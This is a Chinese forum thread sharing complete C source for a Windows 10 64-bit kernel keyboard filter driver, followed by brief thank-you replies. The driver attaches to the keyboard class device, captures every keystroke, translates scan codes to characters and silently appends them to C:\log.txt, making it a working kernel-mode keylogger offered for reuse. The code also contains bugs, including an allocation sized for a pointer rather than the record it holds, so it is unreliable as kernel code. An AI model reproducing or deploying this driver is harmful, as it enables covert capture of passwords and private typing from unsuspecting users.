X64站

 找回密码
 立即注册

QQ登录

只需一步,快速开始

查看: 1371|回复: 25

键盘过滤 Win10 64位可用

  [复制链接]
  • TA的每日心情
    擦汗
    2023-12-22 12:28
  • 签到天数: 13 天

    [LV.3]偶尔看看II

    122

    主题

    257

    帖子

    6902

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    6902

    最佳新人活跃会员热心会员推广达人宣传达人灌水之王突出贡献优秀版主荣誉管理论坛元老

    发表于 2024-3-25 00:10:38 | 显示全部楼层 |阅读模式
    1. #include<ntddk.h>
    2. #include<wdm.h>
    3. #include<ntddkbd.h>
    4. static int REQUESTS = 0;//未处理IRP查询
    5. //声明枚举
    6. enum {
    7. INVALID = 0x00,
    8. ENTER = 0x01,
    9. LSHIFT = 0x02,
    10. RSHIFT = 0x03,
    11. SPACE = ' ',
    12. BACKSPACE = '¬',
    13. TAB = ' '
    14. };
    15. char lowerKeys[84] = {
    16. INVALID, //0
    17. INVALID, //1
    18. '1', //2
    19. '2', //3
    20. '3', //4
    21. '4', //5
    22. '5', //6
    23. '6', //7
    24. '7', //8
    25. '8', //9
    26. '9', //A
    27. '0', //B
    28. '-', //C
    29. '=', //D
    30. BACKSPACE, //E
    31. TAB, //F
    32. 'q', //10
    33. 'w', //11
    34. 'e', //12
    35. 'r', //13
    36. 't', //14
    37. 'y', //15
    38. 'u', //16
    39. 'i', //17
    40. 'o', //18
    41. 'p', //19
    42. '[', //1A
    43. ']', //1B
    44. ENTER, //1C
    45. INVALID, //1D
    46. 'a', //1E
    47. 's', //1F
    48. 'd', //20
    49. 'f', //21
    50. 'g', //22
    51. 'h', //23
    52. 'j', //24
    53. 'k', //25
    54. 'l', //26
    55. ';', //27
    56. '\'', //28
    57. '`', //29
    58. LSHIFT, //2A
    59. '\\', //2B
    60. 'z', //2C
    61. 'x', //2D
    62. 'c', //2E
    63. 'v', //2F
    64. 'b', //30
    65. 'n', //31
    66. 'm' , //32
    67. ',', //33
    68. '.', //34
    69. '/', //35
    70. RSHIFT, //36
    71. INVALID, //37
    72. INVALID, //38
    73. SPACE, //39
    74. INVALID, //3A
    75. INVALID, //3B
    76. INVALID, //3C
    77. INVALID, //3D
    78. INVALID, //3E
    79. INVALID, //3F
    80. INVALID, //40
    81. INVALID, //41
    82. INVALID, //42
    83. INVALID, //43
    84. INVALID, //44
    85. INVALID, //45
    86. INVALID, //46
    87. '7', //47
    88. '8', //48
    89. '9', //49
    90. INVALID, //4A
    91. '4', //4B
    92. '5', //4C
    93. '6', //4D
    94. INVALID, //4E
    95. '1', //4F
    96. '2', //50
    97. '3', //51
    98. '0', //52
    99. };
    100. char upperKeys[84] = {
    101. INVALID, //0
    102. INVALID, //1
    103. '!', //2
    104. '@', //3
    105. '#', //4
    106. '$', //5
    107. '%', //6
    108. '^', //7
    109. '&', //8
    110. '*', //9
    111. '(', //A
    112. ')', //B
    113. '_', //C
    114. '+', //D
    115. BACKSPACE, //E
    116. TAB, //F
    117. 'Q', //10
    118. 'W', //11
    119. 'E', //12
    120. 'R', //13
    121. 'T', //14
    122. 'Y', //15
    123. 'U', //16
    124. 'I', //17
    125. 'O', //18
    126. 'P', //19
    127. '{', //1A
    128. '}', //1B
    129. ENTER, //1C
    130. INVALID, //1D
    131. 'A', //1E
    132. 'S', //1F
    133. 'D', //20
    134. 'F', //21
    135. 'G', //22
    136. 'H', //23
    137. 'J', //24
    138. 'K', //25
    139. 'L', //26
    140. ':', //27
    141. '"', //28
    142. '~', //29
    143. LSHIFT, //2A
    144. '|', //2B
    145. 'Z', //2C
    146. 'X', //2D
    147. 'C', //2E
    148. 'V', //2F
    149. 'B', //30
    150. 'N', //31
    151. 'M' , //32
    152. '<', //33
    153. '>', //34
    154. '?', //35
    155. RSHIFT, //36
    156. INVALID, //37
    157. INVALID, //38
    158. SPACE, //39
    159. INVALID, //3A
    160. INVALID, //3B
    161. INVALID, //3C
    162. INVALID, //3D
    163. INVALID, //3E
    164. INVALID, //3F
    165. INVALID, //40
    166. INVALID, //41
    167. INVALID, //42
    168. INVALID, //43
    169. INVALID, //44
    170. INVALID, //45
    171. INVALID, //46
    172. '7', //47
    173. '8', //48
    174. '9', //49
    175. INVALID, //4A
    176. '4', //4B
    177. '5', //4C
    178. '6', //4D
    179. INVALID, //4E
    180. '1', //4F
    181. '2', //50
    182. '3', //51
    183. '0', //52
    184. };
    185. typedef struct _DEVICE_EXTENSION
    186. {
    187. PDEVICE_OBJECT pKeyBoardDevice;
    188. PETHREAD pThreadObj;
    189. BOOLEAN Shift;
    190. BOOLEAN bClosedThread;
    191. HANDLE hLog;
    192. KSEMAPHORE SemaPhore;
    193. KSPIN_LOCK SpinLock;
    194. LIST_ENTRY ListHead;//定义双向链表
    195. }DEVICE_EXTENSION, * PDEVICE_EXTENSION;
    196. typedef struct _KEYDATA
    197. {
    198. LIST_ENTRY ListaNode;//这里我们定义链表 是为了在后续将获取到的信息写入记事本
    199. char KeyData;
    200. char KeyFlags;
    201. }KEYDAA,*PKEYDATA;//源码写的是结构体但是我这里是用结构体指针  假如等下报错 那么在改回来
    202. NTSTATUS DispatchSkip(PDEVICE_OBJECT pDeviceObject,PIRP pIrp)
    203. {
    204. //这里我们直接穿法irp包并不去修改它
    205. IoSkipCurrentIrpStackLocation(pIrp);
    206. //等下试试修改这里     感觉不用这么些也是可以的
    207. return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyBoardDevice, pIrp);
    208. }
    209. NTSTATUS ReadCompleted(PDEVICE_OBJECT pDeviceObejct, PIRP pIrp, PVOID ConText)
    210. {
    211. //获取当前设备对象给我们自定义的设备对象
    212. ULONG i = 0;
    213. PDEVICE_EXTENSION pDeviceExtensiong = (PDEVICE_EXTENSION)pDeviceObejct->DeviceExtension;
    214. if (pIrp->IoStatus.Status == STATUS_SUCCESS)
    215. {
    216. PKEYBOARD_INPUT_DATA Keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
    217. int nKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
    218. for (i = 0; i < nKeys; i++)
    219. {
    220. KdPrint(("ScanCode:%x", Keys[i].MakeCode));
    221. if (Keys[i].Flags == KEY_BREAK)
    222. KdPrint(("Key_Up"));
    223. if (Keys[i].Flags == KEY_MAKE)
    224. KdPrint(("Key_Down"));
    225. //源码这里转化为结构体指针 但是我这里本身在定义结构体得时候就是结构体指针所以 没有加星号 假如出问题等下修改这里
    226. PKEYDATA KData = (PKEYDATA)ExAllocatePool(NonPagedPool, sizeof(PKEYDATA));
    227. KData->KeyData = Keys[i].MakeCode;
    228. KData->KeyFlags = Keys[i].Flags;//如果等下出问题 那么我们把整个键盘结构体该回去
    229. ExInterlockedInsertTailList(&pDeviceExtensiong->ListHead, &KData->ListaNode, &pDeviceExtensiong->SpinLock);
    230. KeReleaseSemaphore(&pDeviceExtensiong->SemaPhore, 0, 1, FALSE);
    231. }
    232. }
    233. if (pIrp->PendingReturned)
    234. IoMarkIrpPending(pIrp);
    235. --REQUESTS;
    236. return pIrp->IoStatus.Status;
    237. }
    238. NTSTATUS DispatchRead(PDEVICE_OBJECT pDeviceObject, PIRP pIrp)
    239. {
    240. KdPrint(("IN DispatchRead"));
    241. //复制当前得IRP包 到下一个堆栈
    242. IoCopyCurrentIrpStackLocationToNext(pIrp);
    243. IoSetCompletionRoutine(pIrp, ReadCompleted, pDeviceObject, TRUE, TRUE, TRUE);
    244. ++REQUESTS;
    245. KdPrint(("REQUESTS被读取得次数=%d",REQUESTS));//这调代码增加得时间是16:25之前运行一切正常
    246. return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyBoardDevice, pIrp);
    247. }
    248. NTSTATUS InitializeKeyboardFilter(PDRIVER_OBJECT pDriverObject)
    249. {
    250. KdPrint(("IN InitializeKeyboardFilter"));
    251. NTSTATUS nStatus = 0;
    252. PDEVICE_OBJECT pDeviceObject;
    253. nStatus = IoCreateDevice(pDriverObject, sizeof(DEVICE_EXTENSION), NULL, FILE_DEVICE_KEYBOARD, 0, TRUE, &pDeviceObject);
    254. if (nStatus != STATUS_SUCCESS)
    255. {
    256. KdPrint(("设备创建失败"));
    257. return nStatus;
    258. }
    259. //拷贝标志位
    260. pDeviceObject->Flags |= (DO_BUFFERED_IO | DO_BUFFERED_IO);
    261. pDeviceObject->Flags &= (~DO_DEVICE_INITIALIZING);
    262. //内存清零,指定清零得内存大小
    263. RtlZeroMemory(pDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
    264. PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;
    265. CCHAR cName[40] = "\\Device\\KeyboardClass0";
    266. STRING strName;
    267. UNICODE_STRING ustrDeviceName;
    268. RtlInitAnsiString(&strName, cName);
    269. RtlAnsiStringToUnicodeString(&ustrDeviceName, &strName, TRUE);
    270. //挂载设备
    271. IoAttachDevice(pDeviceObject, &ustrDeviceName, &pDeviceExtension->pKeyBoardDevice);
    272. //其实这里应该有个判断得  此处不严谨
    273. RtlFreeUnicodeString(&ustrDeviceName);
    274. KdPrint(("键盘过滤安装"));
    275. return nStatus;
    276. }
    277. char* Scancode2Key(PDEVICE_EXTENSION pDeviceExtension, PKEYDATA kData, char* keys)
    278. {
    279. char key;
    280. key = lowerKeys[kData->KeyData];
    281. switch (key)
    282. {
    283. case LSHIFT:
    284. if (kData->KeyFlags == KEY_MAKE)
    285. pDeviceExtension->Shift = TRUE;
    286. else
    287. {
    288. pDeviceExtension->Shift = FALSE;
    289. break;
    290. }
    291. case RSHIFT:
    292. if (kData->KeyFlags == KEY_MAKE)
    293. pDeviceExtension->Shift = TRUE;
    294. else
    295. {
    296. pDeviceExtension->Shift = FALSE;
    297. }
    298. break;
    299. case ENTER:
    300. if (kData->KeyFlags == KEY_MAKE)
    301. {
    302. keys[0] = 0x0D;
    303. keys[1] = 0xAD;
    304. }
    305. break;
    306. default:
    307. if (kData->KeyFlags == KEY_MAKE)
    308. {
    309. if (pDeviceExtension->Shift == TRUE)
    310. {
    311. keys[0] = upperKeys[kData->KeyData];
    312. }
    313. else
    314. {
    315. keys[0] = lowerKeys[kData->KeyData];
    316. }
    317. }
    318. }
    319. return keys;
    320. }
    321. VOID ThreadForWriting(PVOID pContext)
    322. {
    323. PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pContext;
    324. PLIST_ENTRY pListEntry;
    325. PKEYDATA kData;//这里得源码是指针但是我由于定义得是结构体指针假如等下有错再改回来
    326. while (TRUE)
    327. {
    328. KeWaitForSingleObject(&pDeviceExtension->SemaPhore, Executive, KernelMode, FALSE, NULL);
    329. pListEntry = ExInterlockedRemoveHeadList(&pDeviceExtension->ListHead, &pDeviceExtension->SpinLock);
    330. if (pDeviceExtension->bClosedThread == TRUE)
    331. {
    332. PsTerminateSystemThread(STATUS_SUCCESS);
    333. }
    334. kData = CONTAINING_RECORD(pListEntry, KEYDAA, ListaNode);
    335. char Keys[3] = { 0 };
    336. Scancode2Key(pDeviceExtension, kData, Keys);
    337. if ((Keys != 0) && (pDeviceExtension->hLog != NULL))
    338. {
    339. LARGE_INTEGER Offset;
    340. Offset.HighPart = -1;
    341. Offset.LowPart = FILE_WRITE_TO_END_OF_FILE;
    342. IO_STATUS_BLOCK IoStatus;
    343. NTSTATUS nStatus;
    344. nStatus = ZwWriteFile(pDeviceExtension->hLog, NULL, NULL, NULL, &IoStatus, &Keys, strlen(Keys), &Offset,NULL);
    345. if (nStatus != STATUS_SUCCESS)
    346. {
    347. KdPrint(("Writing scancode failed"));
    348. }
    349. }
    350. }
    351. return;
    352. }
    353. NTSTATUS InitializeThread(PDRIVER_OBJECT pDriverObject)
    354. {
    355. //PDEVICE_EXTENSION pDeviceExztension = (PDEVICE_EXTENSION)pDriverObject->DriverExtension;//很有可能是这里出了问题
    356. PDEVICE_EXTENSION pDeviceExztension = pDriverObject->DeviceObject->DeviceExtension;//这是一个很奇怪的问题修改这里之后解决
    357. NTSTATUS nStatus;
    358. pDeviceExztension->bClosedThread = NULL;
    359. HANDLE hThread;
    360. nStatus = PsCreateSystemThread(&hThread, (ACCESS_MASK)0, NULL, (HANDLE)0, NULL, ThreadForWriting, pDeviceExztension);
    361. if (nStatus != STATUS_SUCCESS)
    362. {
    363. KdPrint(("Thread initializing erro"));
    364. return nStatus;
    365. }
    366. //例程提供对象句柄得访问验证,如果可以授权访问则返回对象主体得相应指针
    367. nStatus=ObReferenceObjectByHandle(hThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pDeviceExztension->pThreadObj,NULL);
    368. if (nStatus != STATUS_SUCCESS)
    369. {
    370. KdPrint(("获取对象句柄权限失败"));
    371. }
    372. ZwClose(hThread);
    373. KdPrint(("Thread initialized"));
    374. return nStatus;
    375. }
    376. NTSTATUS CreateListAndFile(PDRIVER_OBJECT pDriverObject)
    377. {
    378. NTSTATUS nStatus;
    379. PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
    380. InitializeListHead(&pDeviceExtension->ListHead);
    381. KeInitializeSpinLock(&pDeviceExtension->SpinLock);//其实之前我们所做的自旋锁都是为了这一步做准备得
    382. KeInitializeSemaphore(&pDeviceExtension->SemaPhore, 0, MAXLONG);
    383. IO_STATUS_BLOCK FileStatus;
    384. OBJECT_ATTRIBUTES ObjectAttributes;
    385. CCHAR cName[64]= "\\DosDevices\\C:\\log.txt";
    386. STRING strName;
    387. UNICODE_STRING ustrFileName;
    388. RtlInitAnsiString(&strName, cName);
    389. RtlAnsiStringToUnicodeString(&ustrFileName,&strName,TRUE);
    390. InitializeObjectAttributes(&ObjectAttributes, &ustrFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
    391. nStatus = ZwCreateFile(&pDeviceExtension->hLog, GENERIC_WRITE, &ObjectAttributes, &FileStatus, NULL, FILE_ATTRIBUTE_NORMAL,0, FILE_OPEN_IF,
    392. FILE_SYNCHRONOUS_IO_ALERT, NULL, 0);
    393. RtlFreeUnicodeString(&ustrFileName);
    394. if (nStatus == STATUS_SUCCESS)
    395. {
    396. KdPrint(("File was successfully created\n"));
    397. }
    398. else
    399. {
    400. KdPrint(("File Create error\n"));
    401. }
    402. return nStatus;
    403. }
    404. void Unload(PDRIVER_OBJECT pDriverObject)
    405. {
    406. KdPrint(("IN Un Driver"));
    407. PDEVICE_EXTENSION pDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
    408. IoDetachDevice(pDeviceExtension->pKeyBoardDevice);
    409. KTIMER Timer;
    410. LARGE_INTEGER TimerOut;
    411. TimerOut.QuadPart = 1000000;
    412. KeInitializeTimer(&Timer);
    413. while (REQUESTS>0)
    414. {
    415. KeSetTimer(&Timer, TimerOut, NULL);
    416. KeWaitForSingleObject(&Timer, Executive, KernelMode, FALSE, NULL);
    417. }
    418. pDeviceExtension->bClosedThread = TRUE;
    419. KeReleaseSemaphore(&pDeviceExtension->SemaPhore,0,1,TRUE);
    420. KeWaitForSingleObject(pDeviceExtension->pThreadObj, Executive, KernelMode, FALSE, NULL);
    421. ZwClose(pDeviceExtension->hLog);
    422. IoDeleteDevice(pDriverObject->DeviceObject);
    423. return;
    424. }
    425. NTSTATUS DriverEntry(PDRIVER_OBJECT pDriveObject, PUNICODE_STRING Regpath)
    426. {
    427. KdPrint(("IN Driver"));
    428. NTSTATUS nStatus = STATUS_SUCCESS;
    429. ULONG i = 0;
    430. for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
    431. {
    432. pDriveObject->MajorFunction[i] = DispatchSkip;
    433. }
    434. pDriveObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
    435. nStatus = InitializeKeyboardFilter(pDriveObject);
    436. //开启线程
    437. nStatus |= InitializeThread(pDriveObject);
    438. nStatus |= CreateListAndFile(pDriveObject);
    439. pDriveObject->DriverUnload = Unload;
    440. return nStatus;
    441. }
    复制代码


    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    128

    帖子

    263

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    263
    发表于 2024-3-25 00:10:39 | 显示全部楼层
    感谢楼主无私分享
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    342

    帖子

    678

    积分

    高级会员

    Rank: 4

    积分
    678
    发表于 2024-3-26 05:17:34 | 显示全部楼层
    学习一下,感谢分享资料
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    118

    帖子

    245

    积分

    中级会员

    Rank: 3Rank: 3

    积分
    245
    发表于 2024-3-26 10:40:32 | 显示全部楼层
    非常漂亮!~。。。。
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    88

    帖子

    173

    积分

    注册会员

    Rank: 2

    积分
    173
    发表于 2024-3-26 20:03:07 | 显示全部楼层
    thanks for share.
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    274

    帖子

    544

    积分

    高级会员

    Rank: 4

    积分
    544
    发表于 2024-3-27 01:23:35 | 显示全部楼层
    非常感谢,谢谢分享
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    76

    帖子

    151

    积分

    注册会员

    Rank: 2

    积分
    151
    发表于 2024-3-27 22:26:11 | 显示全部楼层
    感谢,楼主辛苦了
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    88

    帖子

    186

    积分

    注册会员

    Rank: 2

    积分
    186
    发表于 2024-3-29 15:18:54 | 显示全部楼层
    支持楼主。
    回复

    使用道具 举报

  • TA的每日心情

    2023-12-3 08:45
  • 签到天数: 3 天

    [LV.2]偶尔看看I

    184

    主题

    452

    帖子

    2379

    积分

    管理员

    Rank: 9Rank: 9Rank: 9

    积分
    2379
    发表于 2024-3-30 02:03:49 | 显示全部楼层
    终于找到了 谢谢
    回复

    使用道具 举报

    该用户从未签到

    0

    主题

    90

    帖子

    190

    积分

    注册会员

    Rank: 2

    积分
    190
    发表于 2024-3-30 17:12:09 | 显示全部楼层
    感谢楼主大人的无私奉献
    回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表